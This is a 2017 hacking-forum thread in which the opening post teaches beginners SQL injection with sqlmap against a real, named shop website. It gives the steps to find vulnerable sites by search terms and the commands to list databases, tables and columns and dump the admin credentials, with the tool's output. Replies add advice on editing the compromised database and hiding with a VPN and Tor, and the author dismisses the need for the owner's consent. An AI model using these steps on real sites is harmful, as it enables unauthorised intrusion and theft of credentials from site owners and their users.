

Forum: [Hack Forums](#)

Thread: [Databases: SQL injection for beginners](#)

DeLiiRiuM - September 10, 2017, 10:58 pm

Hello there, thank you for taking the time to read this thread. In this thread I will teach you some basic sqli techniques. For this tutorial you will need python and sqlmap. I will not be going over installation instructions in this thread. If you need help then the following link should suffice..

<http://www.binarytides.com/install-run-sqlmap-windows/>

Once you have everything configured it's time to start injecting. You will first need to find an sql vulnerable site. To find vulnerable sites, navigate to your favorite browser and try searching for terms like php?id= , login.php?id= , index.php?id= , etc. The site I'm using in this tutorial is

<http://www.tunesoman.com/product.php?id=200>

Once you found a site you can test it to see if it's vulnerable by adding an apostrophe (') after the link. So my new link should look like this..

<http://www.tunesoman.com/product.php?id=200'>

When I press enter I am presented with this message:

Code Error: SELECT * FROM `category` WHERE is_active='1' AND id =200'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 1

This means that the target url will most likely be vulnerable to sqli?

Now that we are finally able to start the attack, open command prompt in the sqlmap directory and type the following.

Code `sqlmap.py -u (YOUR TARGET URL) --dbs`

In sqlmap the -u command is what specifies the target url. The command --dbs will attempt to pull up the websites databases, notice the double hyphen in --dbs. Whenever there is a double hyphen it will print the output on the screen. So when I type the command above in I am presented with this:

Code [21:15:52] [INFO] the back-end DBMS is MySQL

web application technology: PHP 4.4.9, Apache

back-end DBMS: MySQL >= 5.0

[21:15:52] [INFO] fetching database names

[21:15:52] [INFO] the SQL query used returns 2 entries

[21:15:52] [INFO] resumed: information_schema

[21:15:52] [INFO] resumed: db363851433

available databases [2]:

[*] db363851433

[*] information_schema

[21:15:52] [INFO] fetched data logged to text files under
'C:\Users\DeLiiRiuM\.sqlmap\output\www.tunesoman.com'

[*] shutting down at 21:15:52

As you can see above, the website I'm attacking has two databases. Their names are db363851433, and information_schema.

Now that we have found the databases it's time for the next step. In the same terminal type:

Code `sqlmap -u (YOUR TARGET URL) -D (choose a database) --tables`

The -D command will specify a specific database to search. Once again notice the double hyphen in --tables. This will output the tables in the database to the screen. I chose to search the db363851433 database for tables and was presented with this:

Code [21:24:02] [INFO] fetching tables for database: 'db363851433'

[21:24:02] [INFO] the SQL query used returns 26 entries

Database: db363851433

[26 tables]

```
+-----+
| language      |
| admin_modules |
| admin_user    |
| adminmoduleaccess |
| albums        |
| category      |
| events        |
| gallery       |
| left_panel_image |
| login_history |
| maillist      |
| member        |
| menumanager   |
| newsletter_subscriber |
| order_details |
| orders        |
| pdfupload     |
| product_category |
| product_category_old |
| products      |
| resource_countries |
| reviewmanager |
| sitepages     |
| slide_box     |
| tbl_sitepagesarabic |
| tblnewsletter |
+-----+
```

[21:24:02] [INFO] fetched data logged to text files under

'C:\Users\DeLiiRiuM\.sqlmap\output\www.tunesoman.com'

By now you should see a trend, with every search we dig deeper into the database looking for sensitive information.

Anyways on with the attack. The output above is a list of tables within the database on the website I

chose. At the top of the list notice the table named "admin_user"

Right away I know that this is a sensitive area and probably has some important info. To search one of the tables type the following:

```
Code sqlmap.py -u (YOUR TARGET URL) -D (the database you chose) -T (choose a table)
--columns
```

As I said earlier you should notice the sequence. The -T command specifies the table to search, while the double hyphen in --columns prints the columns on the screen. I decided to search the admin_user table and was presented with this:

Hf firewall blocks the code so I put it here on paste bin

<https://pastebin.com/K3VYytVS>

It is now time to dump the data. In the columns list notice admin_user_name and admin_pass. These are the two columns I want to dump. To dump these columns type:

```
Code sqlmap -u (URL) -D (the database you chose) -T (the table you chose) -C (choose a column)
--dump
```

sqlmap will present you with a message similar to this one:

```
Code [22:37:54] [INFO] table 'db363851433.admin_user' dumped to CSV file
'C:\Users\DeLiiRiuM\.sqlmap\output\www.tunesoman.com\dump\db363851433\admin_user.csv'
[22:37:54] [INFO] fetched data logged to text files under
'C:\Users\DeLiiRiuM\.sqlmap\output\www.tunesoman.com'
```

What the message above is saying is that the info you have requested was exported into a csv file, it then gives you the directory in which the csv file is located. in my case the directory is "C:\Users\DeLiiRiuM\.sqlmap\output\www.tunesoman.com\dump\db363851433\admin_user.csv"

The admin user name is stored in that csv file, you can dump all the columns and get a lot of important info

I hope this tutorial helped. Remember to use a vpn and if you have any questions feel free to comment?

MellowSec - September 13, 2017, 11:29 am

Thanks for taking the time to write this, it's pretty helpful.

Bronze5 - September 13, 2017, 6:30 pm

need more attention damn nice guide

DeLiiRiuM - September 13, 2017, 8:12 pm

(Sep 13, 2017 11:29 AM)MellowSec Wrote: [\[CITE\]](#) Thanks for taking the time to write this, it's pretty helpful.

Thanks guy

(Sep 13, 2017 06:30 PM)Bronze5 Wrote: [\[CITE\]](#) need more attention damn nice guide no problem :)

Pronouncer - September 17, 2017, 2:25 pm

Great read, nice contribuion

DeLiiRiuM - September 18, 2017, 9:29 pm

(Sep 17, 2017 02:25 PM)Pronouncer Wrote: [\[CITE\]](#) Great read, nice contribuion
Thank you sir

MO BAMBA - September 20, 2017, 8:49 pm

great read, hard to comprehend all of this stuff, but it'll help me :D

DeLiiRiuM - September 20, 2017, 9:26 pm

(Sep 20, 2017 08:49 PM)Icleanpeople Wrote: [\[CITE\]](#) great read, hard to comprehend all of this stuff, but it'll help me :D

Don't worry man, it's complicated but I promise you will get the hang of it if you don't give up like the majority of people do?

HitchHiker42424242 - September 22, 2017, 5:19 pm

This is a really good guide. I'm saving the link to this. Thanks a lot man!

zKing_ - September 22, 2017, 5:23 pm

i want to edit the DB what do i do ?

DeLiiRiuM - September 22, 2017, 6:37 pm

(Sep 22, 2017 05:23 PM)zKing_ Wrote: [\[CITE\]](#) i want to edit the DB what do i do ?

ask google lol, I'm not going to explain everything you have to do some of the work yourself

chichoben - September 23, 2017, 12:18 am

i don't think that most of the websites are vulnarable to this

Baud - September 23, 2017, 6:49 am

(Sep 22, 2017 05:23 PM)zKing_ Wrote: [\[CITE\]](#) i want to edit the DB what do i do ?

First you need to find the admin credentials, if you exploit a SQL injection vulnerability chances are that you have them already. Login in the admin panel and you might have access to the database settings, from where you can edit it at your own will. Not every panel lets you do this, you might have to find the hosting password, from there it's sure you have control over the database.

(Sep 23, 2017 12:18 AM)chichoben Wrote: [\[CITE\]](#) i don't think that most of the websites are vulnarable to this

You are correct, this vulnerability used to be more common in the past years, it can still be found "in the wild" but it got rarer, it's still worth learning of course.

john568 - September 23, 2017, 7:03 am

Thanks for the helpful tutorial.

DeLiiRiuM - September 23, 2017, 7:13 am

(Sep 23, 2017 07:03 AM)john568 Wrote: [\[CITE\]](#) Thanks for the helpful tutorial.

Sure thing:)

BrBi - September 23, 2017, 7:52 am

great tutorial thank you, well explained

DeLiiRiuM - September 23, 2017, 10:09 am

(Sep 23, 2017 07:52 AM)BrBi Wrote: [\[CITE\]](#) great tutorial thank you, well explained

No problem guy, thnx for reading

JumpT - September 24, 2017, 1:05 pm

Useful for those getting started with SQLmap and the appropriate commands. Nicely done.

/wrists - September 25, 2017, 10:26 am

I want to stress that people should never do this without permission of the site owner's consent.

DeLiiRiuM - September 25, 2017, 8:36 pm

(Sep 25, 2017 10:26 AM)oxid Wrote: [\[CITE\]](#) I want to stress that people should never do this without permission of the site owner's consent.

Or you can just use a vpn lol

howboutdat - September 25, 2017, 8:58 pm

great info ! i was just searching for this

Relcek - September 26, 2017, 3:54 pm

thanks for this tut i will try this later.

DeLiiRiuM - September 26, 2017, 6:13 pm

(Sep 25, 2017 08:58 PM)howboutdat Wrote: [\[CITE\]](#) great info ! i was just searching for this glad you enjoyed it?

(Sep 26, 2017 03:54 PM)Relcek Wrote: [\[CITE\]](#) thanks for this tut i will try this later. sure thing :D

skynet-7 - September 27, 2017, 4:54 am

Hello,

Thanks for this guide, really great! :)

I want to ask, if someone know - How the manger of the site that I have been doing SQLI attack, can track after me?

How can I protect my self wile doing this attack?

Change MAC address, using VPN, using Anonsurf. there is anything else that I can do to protect my self?

Thank you!

Skynet7

DeLiiRiuM - September 27, 2017, 7:49 am

(Sep 27, 2017 04:54 AM)skynet-7 Wrote: [\[CITE\]](#) Hello,

Thanks for this guide, really great! :)

I want to ask, if someone know - How the manger of the site that I have been doing SQLI attack, can track after me?

How can I protect my self wile doing this attack?

Change MAC address, using VPN, using Anonsurf. there is anything else that I can do to protect my self?

Thank you!

Skynet7

Use a vpn and tor, goodluck ?

skynet-7 - December 19, 2017, 1:48 am

(Sep 27, 2017 07:49 AM)DeLiiRiuM Wrote: [\[CITE\]](#) Use a vpn and tor, goodluck ?

okay, thanks!

There is any VPN that you know its best for being anonymity?

Tech?NO - December 19, 2017, 2:05 am

Thanks for the guide, OP. Posting here to get back later for a read.

DeLiiRiuM - December 19, 2017, 10:04 pm

(Dec 19, 2017 03:05 AM)Tech?NO Wrote: [\[CITE\]](#) Thanks for the guide, OP. Posting here to get back later for a read.

sure thing, hope it helped

Pablosploit - January 25, 2018, 2:06 pm

Nice post ? good outline for beginners ?

nyx322 - February 8, 2018, 1:45 pm

Thanks, I'll try it later